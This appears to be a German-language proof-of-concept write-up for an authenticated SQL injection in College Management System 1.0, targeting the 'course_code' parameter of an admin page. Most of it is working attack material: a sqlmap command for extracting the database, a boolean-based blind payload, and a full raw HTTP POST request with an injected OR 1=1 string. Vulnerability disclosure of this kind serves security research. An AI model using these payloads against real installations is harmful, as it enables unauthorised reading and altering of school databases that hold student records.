erengozaydin/college-management-system-course_code-sql-injection-authenticatedProof-of-concept, das eine authentifizierte SQL-Injection in College Management System 1.0 über den Parameter 'course_code' demonstriert, mit boolean-basiertem blindem Payload und SQLmap-Integration zur Datenbankextraktion.
College Management System 1.0 ermöglicht SQL-Injection über den Parameter 'course_code' in /College-Management-System/admin/asign-single-student-subjects.php. Die Ausnutzung dieses Problems könnte einem Angreifer ermöglichen, die Anwendung zu kompromittieren, auf Daten zuzugreifen oder sie zu ändern oder latente Schwachstellen in der zugrunde liegenden Datenbank auszunutzen.
In Burpsuite fangen Sie die Anfrage von der betroffenen Seite mit dem Parameter 'course_code' ab und speichern sie als poc.req. Führen Sie dann SQLmap aus, um die Daten aus der Datenbank zu extrahieren:
sqlmap -r poc.req --dbms=mysql
boolean-based blind Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns
